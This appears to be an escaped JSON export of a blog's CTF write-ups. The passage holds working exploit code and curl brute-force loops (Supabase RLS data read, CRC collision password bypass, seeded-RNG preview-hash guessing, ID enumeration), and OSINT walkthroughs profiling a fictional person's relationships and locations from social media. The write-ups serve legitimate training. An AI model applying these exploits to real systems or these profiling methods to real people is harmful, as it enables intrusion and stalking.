\u0026#34;5\u0026#34;: \u0026#34;j\u0026#34;, \u0026#34;55\u0026#34;: \u0026#34;k\u0026#34;, \u0026#34;555\u0026#34;: \u0026#34;l\u0026#34;, \u0026#34;6\u0026#34;: \u0026#34;m\u0026#34;, \u0026#34;66\u0026#34;: \u0026#34;n\u0026#34;, \u0026#34;666\u0026#34;: \u0026#34;o\u0026#34;, \u0026#34;7\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;77\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;777\u0026#34;: \u0026#34;r\u0026#34;, \u0026#34;7777\u0026#34;: \u0026#34;s\u0026#34;, \u0026#34;8\u0026#34;: \u0026#34;t\u0026#34;, \u0026#34;88\u0026#34;: \u0026#34;u\u0026#34;, \u0026#34;888\u0026#34;: \u0026#34;v\u0026#34;, \u0026#34;9\u0026#34;: \u0026#34;w\u0026#34;, \u0026#34;99\u0026#34;: \u0026#34;x\u0026#34;, \u0026#34;999\u0026#34;: \u0026#34;y\u0026#34;, \u0026#34;9999\u0026#34;: \u0026#34;z\u0026#34;, \u0026#34;0\u0026#34;: \u0026#34; \u0026#34; } message_encode = \u0026#34;3 444 777 33 222 8 444 666 66 0 66 666 777 3 0 555 33 0 555 666 66 4 0 3 33 0 555 2 0 777 444 888 444 33 777 33 0 7 777 33 6 444 33 777 0 22 2 777\u0026#34; chiffres = message_encode.split() message_decode = \u0026#34;\u0026#34; for chiffre in chiffres: message_decode += telephone[chiffre] print(message_decode) Decoded: direction north along the river first bar.\nThe Facebook bar sits on the Adour, so following the river north to the first bar lands on Bar Le Landais in Tarbes.\nSearching the bar and city turns up a Yellow Pages listing with the owner\u0026rsquo;s name, P******* Caussade:\nWe want her maiden name, so on to her Facebook profile.\nOne profile fits: P******* Caussade Ghestem, a bar merchant in Tarbes. So the ex\u0026rsquo;s maiden name is Ghestem.\nCurrent girlfriend\u0026rsquo;s username I\u0026rsquo;d found his Twitter earlier but hadn\u0026rsquo;t followed up on it. Among his follows is @BlancheLoveJD, whose bio reads I Love JD I always wanted to make him forget his ex gf, clearly the girlfriend.\nFlag We now have all the information to find the flag:\nCity: Lannemezan Current girlfriend\u0026rsquo;s username: BlancheLoveJD Ex\u0026rsquo;s maiden name: Ghestem To recall, the flag format is PWNME{CITY_USERNAME_NAME}, all in lowercase with \u0026ldquo;_\u0026rdquo; separating the information.\nSo the flag is: PWNME{lannemezan_blanchelovejd_ghestem}\nTips \u0026amp; Tricks Instagram crops images, so it\u0026rsquo;s important to view the full images to find information. To do this, on desktop, simply refresh the page, and on mobile, tap on the image to enlarge it. Always cross-reference the gathered information. Don\u0026rsquo;t hesitate to use Google Maps to search for locations. ","date":"2023-05-07T00:00:00Z","image":"/images/pwnme2023/osint/droperkingjohn_insta_meet.png","permalink":"/posts/ctf/pwnme-2023/osint/french-dream/","title":"Tracing a target's life across social media - PwnMe 2023"},{"content":"Challenge source ImaginaryCTF 2025 - Web - Imaginary Notes Introduction A misconfigured Supabase project plus a frontend that leaks the anonymous API key. The users table is exposed through PostgREST and row-level security (RLS) is missing, so the leaked anon key is enough to read the table directly and pull the admin password, which is the flag.\nContext Explanation Stack: Next.js frontend, Supabase backend (PostgreSQL + PostgREST). The frontend embeds the Supabase URL and anon key, then queries tables straight from the browser. The description spells it out: \u0026ldquo;I even put my anonymous key somewhere in the site. The password database is called, \u0026lsquo;users\u0026rsquo;.\u0026rdquo; The admin\u0026rsquo;s password is the flag; the table is users. Directive Find the Supabase anon key in the client bundle. Check whether users is readable with the anon role. Read the password field on the admin row. Solution 1) Recon: Find the embedded Supabase client and anon key Grep the client bundle for a supabase.js. The project ships one:\n// app/supabase.js import { createClient } from \u0026#39;@supabase/supabase-js\u0026#39; const supabaseUrl = \u0026#39;https://dpyxnwiuwzahkxuxrojp.supabase.co\u0026#39; const supabaseAnonKey = \u0026#39;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.ey...cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI\u0026#39; // \u0026lt;— exposed in frontend export const supabase = createClient(supabaseUrl, supabaseAnonKey) The anon key being client-side isn\u0026rsquo;t itself the problem, anon keys are meant to be public. What matters is whether it\u0026rsquo;s backed by RLS policies that block sensitive reads. Let\u0026rsquo;s see if users is exposed.\n2) Understand how the app uses the table The login/sign-up form talks to the users table directly:\n// app/page.js (excerpt) const { data: existing } = await supabase .from(\u0026#34;users\u0026#34;) .select(\u0026#34;id\u0026#34;) .eq(\u0026#34;username\u0026#34;, username) .maybeSingle() // ... later on sign-up: const { error: insertError } = await supabase.from(\u0026#34;users\u0026#34;).insert([ { username, passw // ... So it\u0026rsquo;s a thin client hitting users through PostgREST. If RLS doesn\u0026rsquo;t lock it down, the anon key reads whatever we ask for.\n3) Direct API query via PostgREST Supabase exposes PostgREST at /rest/v1. The anon key in both the Authorization: Bearer and apikey headers is all it takes, as long as RLS lets it through:\nGET /rest/v1/users?select=password\u0026amp;username=eq.admin HTTP/2 Host: dpyxnwiuwzahkxuxrojp.supabase.co Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc...4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI Apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmF...4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI Response:\n[{\u0026#34;password\u0026#34;:\u0026#34;ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}\u0026#34;}] ","date":"2025-09-06T00:00:00Z","image":"/images/imaginaryctf2025/web/imaginary_notes_home.png","permalink":"/posts/ctf/imaginaryctf-2025/imaginary-notes/","title":"Supabase anon key and missing RLS data leak - ImaginaryCTF 2025"},{"content":"Introduction Context Explanation Craphp asks for a password and hands back a flag if you get it right. The source (index.php) is provided, and the whole thing hinges on it using CRC (Cyclic Redundancy Check) hashes in its password check.\nDirective Bypass the password check and read the flag. The catch is that CRC isn\u0026rsquo;t collision-resistant, so instead of recovering the real password we forge a different one that produces the same CRC16 and CRC8.\nSolution Analyzing Source Code The check in index.php works like this:\nThe real password is hardcoded: $MYPASSWORD = \u0026quot;AdM1nP@assW0rd!\u0026quot;;. Our input is rejected unless its length matches $MYPASSWORD. It computes crc16 and crc8 of both the hardcoded password and our input. If both CRCs match and our input isn\u0026rsquo;t literally $MYPASSWORD, it prints $FLAG. The relevant snippet:\nif(isset($_POST[\u0026#39;password\u0026#39;]) \u0026amp;\u0026amp; strlen($MYPASSWORD) == strlen($_POST[\u0026#39;password\u0026#39;])) { $pwhash1 = crc16($MYPASSWORD); $pwhash2 = crc8($MYPASSWORD); $password = $_POST[\u0026#39;password\u0026#39;]; $pwhash3 = crc16($password); $pwhash4 = crc8($password); if($MYPASSWORD == $password) { die(\u0026#34;oops. Try harder!\u0026#34;); } if($pwhash1 != $pwhash3) { die(\u0026#34;Oops. Nope. Try harder!\u0026#34;); } if($pwhash2 != $pwhash4) { die(\u0026#34;OoOps. Not quite. Try harder!\u0026#34;); } $access = true; if($access) { echo \u0026#34;You win a flag: $FLAG\u0026#34;; } else { echo \u0026#34;Denied! :-(\u0026#34;; } } else { echo \u0026#34;Try harder!\u0026#34;; } Observations and Vulnerability Insight The design looks fine until you notice it\u0026rsquo;s leaning on CRC for security. CRC16 and CRC8 are error-detection checksums, not cryptographic hashes, and they collide freely: plenty of different inputs share the same CRC value. Stacking two of them (CRC16 + CRC8) narrows the search but doesn\u0026rsquo;t fix anything, the combined space is only 24 bits, trivially brute-forceable.\nSo we don\u0026rsquo;t need the real password, just a collision that satisfies:\n\u0026#34;AdM1nP@assW0rd!\u0026#34; != $password strlen(\u0026#34;AdM1nP@assW0rd!\u0026#34;) == strlen($password) crc16(\u0026#34;AdM1nP@assW0rd!\u0026#34;) == crc16($password) crc8(\u0026#34;AdM1nP@assW0rd!\u0026#34;) == crc8($password) Exploitation Crafting the Collision Brute force it: generate random 15-character candidates (the length of $MYPASSWORD) until one matches both CRCs of the hardcoded password. A short PHP script does the job, reusing the challenge\u0026rsquo;s own crc16/crc8 so the values line up exactly:\n\u0026lt;?php $MYPASSWORD = \u0026#34;AdM1nP@assW0rd!\u0026#34;; $pwhash1 = crc16($MYPASSWORD); $pwhash2 = crc8($MYPASSWORD); for ($i = 0; $i \u0026lt; 100000000; $i++) { $password = str_random(strlen($MYPASSWORD)); $pwhash3 = crc16($password); $pwhash4 = crc8($password); if ($pwhash1 == $pwhash3 \u0026amp;\u0026amp; $pwhash2 == $pwhash4) { echo \u0026#34;Collision found ! : $password\\n\u0026#34;; break; } } function str_random($length) { $characters = \u0026#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^\u0026amp;*()_+\u0026#39;; $randomString = \u0026#39;\u0026#39;; for ($i = 0; $i \u0026lt; $length; $i++) { $randomString .= $characters[rand(0, strlen($characters) - 1)]; } return $randomString; } function crc16($string) { $crc = 0xFFFF; for ($x = 0; $x \u0026lt; strlen ($string); $x++) { $crc = $crc ^ ord($string[$x]); for ($y = 0; $y \u0026lt; 8; $y++) { if (($crc \u0026amp; 0x0001) == 0x0001) { $crc = (($crc \u0026gt;\u0026gt; 1) ^ 0xA001); } else { $crc = $crc \u0026gt;\u0026gt; 1; } } } return $crc; } // https://stackoverflow.com/questions/507041/crc8-check-in-php/73305496#73305496 function crc8($input) { $crc8Table = [ 0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15, 0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D, 0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65, 0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D, 0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5, 0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD, 0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85, 0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD, 0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2, 0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA, 0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2, 0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A, 0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32, 0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A, 0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42, 0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A, 0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C, 0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4, 0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC, 0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4, 0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C, 0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44, 0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C, 0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34, 0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B, 0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63, 0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B, 0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13, 0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB, 0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83, 0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB, 0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3 ]; $byteArray = unpack(\u0026#39;C*\u0026#39;, $input); $len = count($byteArray); $crc = 0; for ($i = 1; $i \u0026lt;= $len; $i++) { $crc = $crc8Table[($crc ^ $byteArray[$i]) \u0026amp; 0xff]; } return $crc \u0026amp; 0xff; } ?\u0026gt; Accessing the Flag The script lands a collision pretty quickly:\n┌──(kali㉿kali)-[~/Desktop] └─$ php crc_collision.php Collision found ! : Tp#UTARjQMz+6X8 Submitting it clears both CRC checks and the server coughs up the flag:\nYou win a flag: ENO{Cr4hP_CRC_Collison_1N_P@ssw0rds!} Tips \u0026amp; Tricks CRC is not a hash. CRC16/CRC8 are built for detecting transmission errors, not for comparing secrets. Seeing them in an auth check is a red flag. Spot small hash spaces. When a challenge validates against a hash, check its output size. 24 bits here is nothing to brute-force. Reuse the target\u0026rsquo;s own code. Copying the challenge\u0026rsquo;s crc16/crc8 into your script guarantees the values match and saves reimplementation bugs. ","date":"2025-02-03T00:00:00Z","image":"/images/nullcon/web/craphp_home.png","permalink":"/posts/ctf/nullcon-goa-hackim-ctf-2025/craphp/","title":"CRC32 hash collision to defeat a PHP password check - Nullcon Goa 2025"},{"content":"Introduction Try to access the content of the admin user\u0026rsquo;s secret note.\nSolution The challenge is a blog with authentication.\nThe homepage lists posts from different users, and the header reads A community of 8 authors.\nClicking a username, say lolo, who wrote the first article, lands on that user\u0026rsquo;s profile page.\nNon-essential note for exploiting the challenge: After launching multiple instances, I realized that the 8 users are always the same: admin, bob, alice, and 5 other random users (lolo, tata, toto, \u0026hellip;).\nThe URL is /author/:id, where :id is the user\u0026rsquo;s ID. Here lolo has ID 23.\nA curl request to /author/0 redirects, since no such user exists.\ncurl \u0026#39;http://dyn-01.heroctf.fr:10471/author/0\u0026#39; \u0026lt;!doctype html\u0026gt; \u0026lt;html lang=en\u0026gt; \u0026lt;title\u0026gt;Redirecting...\u0026lt;/title\u0026gt; \u0026lt;h1\u0026gt;Redirecting...\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;You should be redirected automatically to the target URL: \u0026lt;a href=\u0026#34;/\u0026#34;\u0026gt;/\u0026lt;/a\u0026gt;. If not, click the link. A request to /author/23, on the other hand, returns lolo\u0026rsquo;s profile.\ncurl \u0026#39;http://dyn-01.heroctf.fr:10471/author/23\u0026#39; [...] \u0026lt;!-- Page Header--\u0026gt; \u0026lt;header class=\u0026#34;masthead\u0026#34; style=\u0026#34;background-image: url(\u0026#39;/static/assets/img/about-bg.jpg\u0026#39;)\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;container position-relative px-4 px-lg-5\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;row gx-4 gx-lg-5 justify-content-center\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col-md-10 col-lg-8 col-xl-7\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;page-heading\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;lolo\u0026lt;/h1\u0026gt; \u0026lt;span class=\u0026#34;subheading\u0026#34;\u0026gt;Content writer\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/header\u0026gt; [...] So I looped over IDs 0 to 50, printing a line whenever a user turned up:\nfor id in {0..50}; do response=$(curl -s \u0026#34;http://dyn-01.heroctf.fr:10471/author/$id\u0026#34;); [[ \u0026#34;$response\u0026#34; != *\u0026#34;Redirecting...\u0026#34;* ]] \u0026amp;\u0026amp; username=$(echo \u0026#34;$response\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=\u0026lt;h1\u0026gt;).*(?=\u0026lt;\\/h1\u0026gt;)\u0026#39;) \u0026amp;\u0026amp; echo \u0026#34;Username: $username | ID: $id\u0026#34;; done Username: admin | ID: 17 Username: bob | ID: 18 Username: alice | ID: 19 Username:john | ID: 20 Username: doggo | ID: 21 Username: toto | ID: 22 Username: lolo | ID: 23 Username: tata | ID: 24 There\u0026rsquo;s admin at ID 17, reachable at /author/17.\nSince a profile page lists the user\u0026rsquo;s posts, the flag might be sitting on admin\u0026rsquo;s profile.\nBingo! We see the post Secret blog post (draft) with the description: Secret post!!\nClicking the post, though, throws You cannot view the drafts of other users.\nThe challenge ships its sources, so I dug into how posts get rendered. This function in routes.py:\n@bp_routes.route(\u0026#34;/post/\u0026lt;string:slug\u0026gt;\u0026#34;, methods=[\u0026#34;GET\u0026#34;]) def view_post(slug): post = Posts.query.filter(Posts.slug == slug).first() if not post: flash(\u0026#34;This post does not exist.\u0026#34;, \u0026#34;warning\u0026#34;) return redirect(url_for(\u0026#39;bp_routes.index\u0026#39;)) if post.draft and (not current_user.is_authenticated or post.author_id != current_user.id): flash(\u0026#34;You cannot see drafts of other users.\u0026#34;, \u0026#34;warning\u0026#34;) return redirect(url_for(\u0026#39;bp_routes.index\u0026#39;)) author = Authors.query.filter_by(id=post.author_id).first() return render_template(\u0026#34;pages/post.html\u0026#34;, title=\u0026#34;View a post\u0026#34;, post=post, author=author) If the post is a draft and the visitor isn\u0026rsquo;t authenticated, or isn\u0026rsquo;t its author, it\u0026rsquo;s back to the homepage. So viewing it here means being logged in as the author, i.e. being admin.\nAfter burning an evening trying to break into the admin account, I went back and re-read the description:\nTry to access the content of the admin user\u0026rsquo;s secret note.\nMy read: the flag lives in Secret blog post (draft), and since this is Blogodogo 1/2, part 2/2 is probably the one about actually taking over the admin account. So I went looking for a way to read the post without the /post/:slug endpoint and without logging in.\nBack in routes.py:\n@bp_routes.route(\u0026#34;/post/preview/\u0026lt;string:hash_preview\u0026gt;\u0026#34;, methods=[\u0026#34;GET\u0026#34;]) def preview_post(hash_preview): post = Posts.query.filter_by(hash_preview=hash_preview).first() if post: author = Authors.query.filter_by(id=post.author_id).first() return render_template(\u0026#34;pages/post.html\u0026#34;, title=\u0026#34;Preview a post\u0026#34;, post=post, author=author) flash(\u0026#34;Unable to find the corresponding post.\u0026#34;, \u0026#34;warning\u0026#34;) return redirect(url_for(\u0026#39;bp_routes.index\u0026#39;)) This one renders a post straight from its hash, passed as hash_preview, no auth needed. So to read Secret blog post (draft), I just need its hash.\nWhere does that hash come from? The POST /add route creates posts:\n@bp_routes.route(\u0026#34;/add\u0026#34;, methods=[\u0026#34;GET\u0026#34;, \u0026#34;POST\u0026#34;]) @login_required def add_post(): form = AddPostForm() if form.validate_on_submit(): result = Posts.query.filter_by(slug=form.slug.data).first() if result: flash(\u0026#34;Slug already exists.\u0026#34;, \u0026#34;warning\u0026#34;) return redirect(url_for(\u0026#39;bp_routes.add_post\u0026#39;)) post = Posts( title=form.title.data, subtitle=form.subtitle.data, slug=form.slug.data, content=form.content.data, draft=True, hash_preview=generate_hash(), author_id=current_user.id ) db.session.add(post) db.session.commit() flash(\u0026#34;Post successfully added.\u0026#34;, \u0026#34;success\u0026#34;) return redirect(url_for(\u0026#39;bp_routes.view_post\u0026#39;, slug=post.slug)) return render_template(\u0026#34;pages/add_post.html\u0026#34;, title=\u0026#34;Add a post\u0026#34;, form=form) The hash comes from generate_hash() in utils.py:\nfrom datetime import datetime from random import seed, randbytes def generate_hash(timestamp=None): \u0026#34;\u0026#34;\u0026#34;Generate hash for post preview.\u0026#34;\u0026#34;\u0026#34; if timestamp: seed(timestamp) else: seed(int(datetime.now().timestamp())) return randbytes(32).hex() On post creation, generate_hash() is called with no argument, so the RNG is seeded with the current Unix timestamp (seconds since 1970-01-01 UTC). That\u0026rsquo;s the whole weakness: reproduce the seed and you reproduce the hash.\nThe seed is the post\u0026rsquo;s creation time, which is shown right on the admin\u0026rsquo;s profile page.\nIt was created 2023-05-13 at 02:53, but the seconds aren\u0026rsquo;t shown, so there are 60 candidate timestamps between 02:53:00 and 02:53:59 to try.\nepochconverter.com gives 1683946380 for 2023-05-13 02:53:00:\nEpoch timestamp: 1683946380 Timestamp in milliseconds: 1683946380000 Date and time (GMT): Saturday 13 May 2023 02:53:00 From there, the 60 timestamps to test:\nepoch_secret_post_created = 1683946380 timestamp_list = [epoch_secret_post_created + n for n in range(60)] Each one goes through the same generate_hash() from utils.py:\n[print(generate_hash(timestamp)) for timestamp in timestamp_list] I copied the hashes into a file named hashes.txt.\n$ python3 generate_hashes.py \u0026gt; hashes.txt $ cat hashes.txt 8f2c71ce47d92eb5c185e22e6971343d4563f76bcb0557b94f693518a89dbd6b 326b66c2d792443c3e8b42b72d12de4c8479a7fb95397fb8b752ef5892063c39 1cfe4b77d1ca38b0a0214c7054227f09c81feafd402dacd63e19d4a11a821de2 43aa568512ee3bc7a811fb914f414d16943cabbe1965fe8ddaf6a3e97050bf33 [...] # 56 other hashes Then curl each candidate against the preview endpoint:\nfor hash in $(cat hashes.txt); do response=$(curl -s \u0026#34;http://dyn-02.heroctf.fr:11192/post/preview/$hash\u0026#34;); [[ \u0026#34;$response\u0026#34; != *\u0026#34;Redirecting...\u0026#34;* ]] \u0026amp;\u0026amp; echo \u0026#34;Found working hash: $hash\u0026#34;; done Any response that doesn\u0026rsquo;t contain \u0026ldquo;Redirecting\u0026hellip;\u0026rdquo; is a hit. That gives us the working hash 20030b5d29001f7856c0e7e034e00b8b715d24237f67cf2ea6ec34faee3bb08b:\ncurl -s \u0026#34;http://dyn-02.heroctf.fr:11192/post/preview/20030b5d29001f7856c0e7e034e00b8b715d24237f67cf2ea6ec34faee3bb08b\u0026#34; [...] \u0026lt;!-- Post Content--\u0026gt; \u0026lt;article class=\u0026#34;mb-4\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;container px-4 px-lg-5\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;row gx-4 gx-lg-5 justify-content-center\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col-md-10 col-lg-8 col-xl-7\u0026#34;\u0026gt; \u0026lt;p\u0026gt; Well played! You can now register users! Here is the referral code: 83d99a0ac225079db31b44a2e58b19f0. Hero{pr3333vi333wwwws_5973791} \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;hr class=\u0026#34;mt-5\u0026#34;\u0026gt; \u0026lt;h4\u0026gt;Report a post\u0026lt;/h4\u0026gt; [...] There\u0026rsquo;s the flag Hero{pr3333vi333wwwws_5973791}, plus a referral code 83d99a0ac225079db31b44a2e58b19f0 that unlocks registration for the next challenge, Blogodogo #2.\nTips \u0026amp; Tricks Check all available routes as soon as you have access to the challenge\u0026rsquo;s source code or if there is a swagger documentation. Always review hash creation functions, as most of the time, if it is poorly implemented, it can be easily cracked or reversed. Automate testing as soon as possible. In many cases, with a single bash command, you can achieve the equivalent of several hours of manual testing. ","date":"2024-05-15T00:00:00Z","image":"/images/heroctfv5/web/blog_home.png","permalink":"/posts/ctf/heroctf-v5-2023/blogodogo-1/","title":"Author enumeration and a guessable referral secret - HeroCTF v5"},{"content":"Introduction This challenge is an OSINT challenge from the PWNME CTF.\nContext explanation To understand the context of the challenge, look at the description of the introduction challenge.\nDirective John loves adventure and travel. Can you give me the 3 cities he visited during his trip to Europe?\nFlag format PWNME{city1_city2_city3} Cities in lowercase and in alphabetical order, separated by an \u0026ldquo;_\u0026rdquo;.\nSolution On John Droper\u0026rsquo;s GitHub, droperkingjohn, on one of his commits, we can see that he removed part of his index.html.\n\u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;John Droper\u0026#39;s website\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;I will edit my curriculum later but this is some information about me:\u0026lt;/p\u0026gt; \u0026lt;br\u0026gt; \u0026lt;p\u0026gt;- I could be pro with my team, but you know... (cruciate ligament rupture...) =\u0026gt; https://www.tgb-basket.com/\u0026lt;br\u0026gt;- If you\u0026#39;ve already met me, you know that I love traveling; this is one of my new favorite forums (I\u0026#39;m not really active, but recently I shared information about my trip to Europe) =\u0026gt; https://www.forum-train.com/forum/index.php\u0026lt;/p\u0026gt; \u0026lt;hr style = \u0026#34;border:none;margin-bottom:20%\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;semiSecret\u0026#34;\u0026gt;You can contact me :\u0026lt;br\u0026gt;johndroperdroperjohn@gmail.com\u0026lt;br\u0026gt;(links are not up for the moment, sorry...)\u0026lt;/p\u0026gt; \u0026lt;div class=\u0026#34;logosRS\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;./twitter.png\u0026#34; sizes=\u0026#34;30px\u0026#34;/\u0026gt; \u0026lt;img src=\u0026#34;./facebook.png\u0026#34;/\u0026gt; \u0026lt;img src=\u0026#34;./instagram.png\u0026#34;/\u0026gt; \u0026lt;!-- No copyright but =\u0026gt; https://github.com/droperkingjohn --\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; That diff leaks a lot:\nan email: johndroperdroperjohn@gmail.com a forum he posts on: https://www.forum-train.com/forum/index.php the networks he\u0026rsquo;s on: Twitter, Facebook, Instagram a basketball site: https://www.tgb-basket.com/ Searching his two handles, jdthetraveller and droperkingjohn, on Twitter and Instagram found two profiles:\nTwitter: https://twitter.com/droperkingjohn Instagram: https://www.instagram.com/droperkingjohn/ After finding the social media accounts mentioned on John\u0026rsquo;s blog, I tried to find others by searching for his pseudonyms on Google and Bing.\nFirst city: Kaunas We find a link to a thread on the jeuxvideo.com forum where John posted a message.\nThe jeuxvideo.com post Hi all, I\u0026#39;m totally new to the site and a friend told me about the fact that you could help me, I have to find another friend but he sent me 3 too weird messages the first was \u0026#34;investor\u0026#34;, the second \u0026#34;utopian\u0026#34; and the third \u0026#34;ligamentous\u0026#34;. I know it is mysterious but here I am completely lost. I think losing that friend will be easier than solving the investigation. If we search for the three words in French investisseur, utopique, and ligamenteux on https://what3words.com/, we find Kaunas in Lithuania.\nThe location with what3words So we have the first city visited by John Droper: Kaunas.\nSecond city: Gols One of John\u0026rsquo;s Instagram posts shows a euro banknote with its serial number in frame.\nThe serial is U50441715662, and the caption makes clear he\u0026rsquo;s into bill tracking, chasing this particular note.\nThat points at https://www.eurobilltracker.com/.\nJohn on EuroBillTracker His handle jdthetraveller has an account there, registered in Gols, Austria. It\u0026rsquo;s definitely him, the profile description links his blog.\nSo we have the second city visited by John Droper: Gols.\nThird city: Back to that GitHub leak: John mentioned an account on https://www.forum-train.com/forum/index.php.\nJohn on forum-train The Google dork site:forum-train.com jdthetraveller finds his intro post on the forum.\nThis post tells us that John left Bratislava by train after traveling by car and that the train journey lasted exactly 10h58.\nHello everyone, Let me introduce myself, John D., I\u0026#39;ve been a fan of travel for a very long time! I recently took a trip to Europe and part of that trip was by train. After going to Central Europe I decided to go to Eastern Europe. I left Bratislava and traveled for 10h58 it was really very long... If you have any tips for discovering places in the United States, I\u0026#39;ll be there soon Further down, in another message, John says he didn\u0026rsquo;t have time to visit Bratislava, which allows us to confirm that Bratislava is not one of the cities visited by John.\nI forgot to mention that I didn\u0026#39;t even have time to visit Bratislava unlike the other cities of my trip to Europe... Otherwise, first of all thank you for the welcome! I\u0026#39;m going to try to visit all the coolest corners of the United States so I\u0026#39;ll take all the advice! The train journey So: a 10h58 train out of Bratislava, heading into Eastern Europe. https://direkt.bahn.guru/ maps travel times from a station.\nSetting the origin to Bratislava hl.st., the map puts Terespol at exactly 10h58 away.\nTerespol matches the time and sits in Eastern Europe, lining up with his post.\nSo we have the third city visited by John Droper: Terespol.\nThe flag The three cities visited by John Droper are:\nKaunas in Lithuania Gols in Austria Terespol in Poland As a reminder, the flag format is PWNME{city1_city2_city3} Cities in lowercase and in alphabetical order, separated by an \u0026ldquo;_\u0026rdquo;.\nThe flag is therefore: PWNME{gols_kaunas_terespol}\nTips \u0026amp; Tricks Google dork: site:forum-train.com jdthetraveller Try searching with other search engines like Bing, DuckDuckGo, Qwant, or Yandex. A location can be specified using GPS coordinates, address, postal code, city name, country name, etc. However, it is also possible to divide the globe into 3m² squares and specify a location using three words. This is the concept of what3words. To track Euro bills, you can use the website https://www.eurobilltracker.com/. All train departures/arrivals in Europe can be found on the website https://direkt.bahn.guru/. ","date":"2023-05-07T00:00:00Z","image":"/images/pwnme2023/osint/droperkingjohn_github_train.png","permalink":"/posts/ctf/pwnme-2023/osint/europe/","title":"Geolocating three cities from a target's social posts - PwnMe 2023"},{"content":"Introduction This challenge is a WEB challenge from the PWNME CTF.\nContext Explanation A company needs a website to generate a QR Code. They asked a freelancer to do the job.\nSince the website went live, they noticed strange behavior on their server.\nThey need you to audit their code and help them fix their problem.\nDirective The flag is located in /app/flag.txt\nSolution The app is a blog: you can write and read articles, even without logging in, and there\u0026rsquo;s the usual register/login flow.\nThe sources ship with the challenge. It\u0026rsquo;s a Flask app with just two dependencies:\nFlask: latest PyDash: 5.1.2 Analyzing app.py code app.py is the entry point:\nfrom flask import Flask, render_template, render_template_string, request, redirect, session, sessions from users import Users from articles import Articles users = Users() articles = Articles() app = Flask(__name__, template_folder=\u0026#39;templates\u0026#39;) app.secret_key = \u0026#39;(: secret :)\u0026#39; @app.context_processor def inject_user(): return dict(session=session) @app.route(\u0026#34;/create\u0026#34;, methods=[\u0026#34;POST\u0026#34;]) def create_article(): name, content = request.form.get(\u0026#39;name\u0026#39;), request.form.get(\u0026#39;content\u0026#39;) if type(name) != str or type(content) != str or len(name) == 0: return redirect(\u0026#39;/articles\u0026#39;) articles.set(name, content) return 